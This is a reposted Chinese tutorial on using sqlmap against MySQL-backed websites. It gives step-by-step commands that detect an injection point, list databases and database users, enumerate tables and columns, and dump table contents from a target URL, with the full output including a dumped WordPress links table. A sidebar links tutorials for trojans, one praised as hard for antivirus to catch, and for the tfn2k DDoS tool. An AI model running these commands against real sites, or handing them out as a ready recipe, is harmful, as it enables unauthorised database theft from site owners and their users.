当前位置: 移动技术网 > 网络运营>安全>工具 > sqlmap for mysql 中文帮助指南

sqlmap for mysql 中文帮助指南

2018年04月10日  | 移动技术网网络运营  | 我要评论

 

测试是否存在注入点

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://www.2cto.com /sql/news.php?id=1" 

 

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: MySQL 5.0.11

[16:42:09] [INFO] Fetched data logged to text files under '/tools/sqlmap/output/pentest.dis9.com'

 

[*] shutting down at: 16:42:09

 

root@Dis9Team:/tools/sqlmap#

 

列出全部的数据库名字

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://pentest.dis9.com/sql/news.php?id=1" --dbs -v 0

 

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: MySQL 5.0.11

[16:43:40] [INFO] read from file '/tools/sqlmap/output/pentest.dis9.com/session': information_schema, mysql, odldb, sql, test

available databases [5]:

[*] information_schema

[*] mysql

[*] odldb

[*] sql

[*] test

 

[*] shutting down at: 16:43:40

 

root@Dis9Team:/tools/sqlmap#

–users 列出全部数据库名字

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://pentest.dis9.com/sql/news.php?id=1" --users

 

    sqlmap/0.9 - automatic SQL injection and database takeover tool

 

http://sqlmap.sourceforge.net

 

database management system users [4]:

[*] 'root'@'127.0.0.1'

[*] 'root'@'localhost'

[*] 'root'@'production'

[*] 'sql'@'localhost'

获得某数据库中的全部表

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://pentest.dis9.com/sql/news.php?id=1" -D odldb --tables

Database: odldb

[13 tables]

+--------------------------+

| wp_commentmeta           |

| wp_comments              |

| wp_eemail_newsletter     |

| wp_eemail_newsletter_sub |

| wp_links                 |

| wp_options               |

| wp_postmeta              |

| wp_posts                 |

| wp_term_relationships    |

| wp_term_taxonomy         |

| wp_terms                 |

| wp_usermeta              |

| wp_users                 |

+--------------------------+

获得某数据库中的表的字段

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://www.2cto.com /sql/news.php?id=1" -D odldb --tables -T wp_posts --columns

[16:47:54] [INFO] fetching columns for table 'wp_posts' on database 'odldb'

[16:47:54] [INFO] the SQL query used returns 23 entries

Database: odldb

Table: wp_posts

[23 columns]

+-----------------------+---------------------+

| Column                | Type                |

+-----------------------+---------------------+

| comment_count         | bigint(20)          |

| comment_status        | varchar(20)         |

| guid                  | varchar(255)        |

| ID                    | bigint(20) unsigned |

| menu_order            | int(11)             |

| ping_status           | varchar(20)         |

| pinged                | text                |

| post_author           | bigint(20) unsigned |

| post_content          | longtext            |

| post_content_filtered | text                |

| post_date             | datetime            |

| post_date_gmt         | datetime            |

| post_excerpt          | text                |

| post_mime_type        | varchar(100)        |

| post_modified         | datetime            |

| post_modified_gmt     | datetime            |

| post_name             | varchar(200)        |

| post_parent           | bigint(20) unsigned |

| post_password         | varchar(20)         |

| post_status           | varchar(20)         |

| post_title            | text                |

| post_type             | varchar(20)         |

| to_ping               | text                |

+-----------------------+---------------------+

获得某表中的全部内容:

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://pentest.dis9.com/sql/news.php?id=1" -D odldb --tables -T wp_links --columns --dump

[16:50:27] [INFO] fetching columns for table 'wp_links' on database 'odldb'

[16:50:27] [INFO] the SQL query used returns 13 entries

[13 entries]

+------------------+---------+------------+--------------------+------------+------------+-------------+----------+----------+-------------+---------------------+---------------------------------------------------------+--------------+

| link_description | link_id | link_image | link_name          | link_notes | link_owner | link_rating | link_rel | link_rss | link_target | link_updated        | link_url                                                | link_visible |

+------------------+---------+------------+--------------------+------------+------------+-------------+----------+----------+-------------+---------------------+---------------------------------------------------------+--------------+

| NULL             | 15      | NULL       | brk@Dis9Team       | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.dis9.com/.brk/                               | Y            |

| NULL             | 11      | NULL       | x1@Dis9Team        | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://r0ck.org/                                        | Y            |

| NULL             | 14      | NULL       | ack@Dis9Team       | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://x73.cc/                                          | Y            |

| NULL             | 18      | NULL       | ???                | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.xiya.org/                                    | Y            |

| NULL             | 17      | NULL       | D.K@Dis9Team       | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.crackerban.com/                              | Y            |

| NULL             | 10      | NULL       | 7h1nkz3r0@Dis9Team | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://51root.net/                                      | Y            |

| NULL             | 9       | NULL       | LaTCue@Dis9Team    | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.nzts.info/sex/                               | Y            |

| NULL             | 19      | NULL       | sys0p@Dis9Team     | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://hi.baidu.com/%BA%CB%D0%C4web%B0%B2%C8%AB/blog/   | Y            |

| NULL             | 20      | NULL       | ?????              | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://hi.baidu.com/%D0%DE%C1%B6%D6%D0%B5%C4%C1%F8/home | Y            |

| NULL             | 12      | NULL       | 4ngle@Dis9Team     | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.bu9.org/                                     | Y            |

| NULL             | 13      | NULL       | Mario@Dis9Team     | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.mario1990.com/                               | Y            |

| NULL             | 16      | NULL       | Vim0x0n@Dis9Team   | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://www.91ri.org/                                    | Y            |

| NULL             | 8       | NULL       | Sackula@Dis9Team   | NULL       | 1          | 0           | NULL     | NULL     | NULL        | 0000-00-00 00:00:00 | http://blog.sackula.info/                               | Y            |

+------------------+---------+------------+--------------------+------------+------------+-------------+----------+----------+-------------+---------------------+---------------------------------------------------------+--------------+

单独列出某字段的数据

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://pentest.dis9.com/sql/news.php?id=1" -D odldb -T wp_links -C link_url --dump

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: MySQL 5.0.11

[17:23:48] [INFO] fetching columns 'link_url' entries for table 'wp_links' on database 'odldb'

[17:23:48] [INFO] read from file '/tools/sqlmap/output/pentest.dis9.com/session': 13

[17:23:48] [INFO] the SQL query used returns 13 entries

Database: odldb

Table: wp_links

[13 entries]

+---------------------------------------------------------+

| link_url                                                |

+---------------------------------------------------------+

| http://blog.sackula.info/                               |

| http://www.dis9.com/.brk/                               |

| http://www.mario1990.com/                               |

| http://www.91ri.org/                                    |

| http://hi.baidu.com/%D0%DE%C1%B6%D6%D0%B5%C4%C1%F8/home |

| http://x73.cc/                                          |

| http://51root.net/                                      |

| http://www.crackerban.com/                              |

| http://www.nzts.info/sex/                               |

| http://r0ck.org/                                        |

| http://www.xiya.org/                                    |

| http://hi.baidu.com/%BA%CB%D0%C4web%B0%B2%C8%AB/blog/   |

| http://www.bu9.org/                                     |

+---------------------------------------------------------+

 

[17:23:48] [INFO] Table 'odldb.wp_links' dumped to CSV file '/tools/sqlmap/output/pentest.dis9.com/dump/odldb/wp_links.csv'

[17:23:48] [INFO] Fetched data logged to text files under '/tools/sqlmap/output/pentest.dis9.com'

 

[*] shutting down at: 17:23:48

列出某数据库中的全部数据

root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u "http://pentest.dis9.com/sql/news.php?id=1" --dump -D odldb

自定义线程
root@Dis9Team:/tools/sqlmap# ./sqlmap.py -u “http://pentest.dis9.com/sql/news.php?id=1″ -D odldb -T wp_links -C link_url –dump –threads 10

 

摘自 http://www.dis9.com/papers/sqlmap-for-mysql-chinese-help-guide.html

如对本文有疑问, 点击进行留言回复!!

相关文章:

  • 网络刺客2使用指南

    网络刺客2使用指南    “天行”推出网络刺客2已有一年,想当初此软件因其强大的功能被国内“黑”界推为惊世之作。我在得到它后,却有近半年时间在研究、寻找... [阅读全文]
  • 冰河”启示录

    冰河”启示录 作者: 陈经韬 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)... [阅读全文]
  • tfn2k使用方法和对策(3)

        tfn2k使用方法和对策(3) 作者:佳佳 本来想再分两次写完本文,后来发现佳佳要翻译的两篇文章 http://packetstorm... [阅读全文]
  • tfn2k使用方法和对策(2)

        tfn2k使用方法和对策(2) 作者:佳佳     佳佳继续上一次的文章,这一次是攻击测试。 测试环境:     共有5台机器,佳佳是... [阅读全文]
  • 火凤凰2.4使用教程

    今次给大家推荐的是阿风哥的作品:无赖小子。(way).说起来它普及的不广,但是面孔生疏的马儿更加隐蔽。不是众杀毒软件的众矢之的。好像不太容易被查杀。而且作者够仗... [阅读全文]
  • tfn2k使用方法和对策(1)

        tfn2k使用方法和对策(1) 作者:佳佳 今年年初,一些黑客使用DDoS向Yahoo,eBay等著名站点发起攻击,并且使y... [阅读全文]
  • 火凤凰2.0使用教程

    火凤凰是国产木马里最先使用反弹端口的木马,其避开防火墙的能力极其出色,DELPHI编写,功能较多但是不太好用,而且没有配置服务端的改变端口功能,相对而言比较危险... [阅读全文]
  • Nmap网络安全扫描器说明(5)

    Nmap网络安全扫描器说明(5) 作者:作者:Fyodor 译者:quack发布日期:2002-2-6上传日期:2002-2-6来源:不详扫描范例-------... [阅读全文]
  • Nmap网络安全扫描器说明(3)

    Nmap网络安全扫描器说明(3) 作者:作者:Fyodor 译者:quack发布日期:2002-2-6上传日期:2002-2-6来源:不详常规选项-------... [阅读全文]
  • 不需要任何密码就能达到进入中有冰河的机器!!!

    不需要任何密码就能达到进入中有冰河的机器!!!小飞刀 [[冰河第一站]]冰河出现到现在,使用得如此之广,影响如此之大。 却万万没有人想到冰河服务端竟然存在着如此... [阅读全文]
验证码:
移动技术网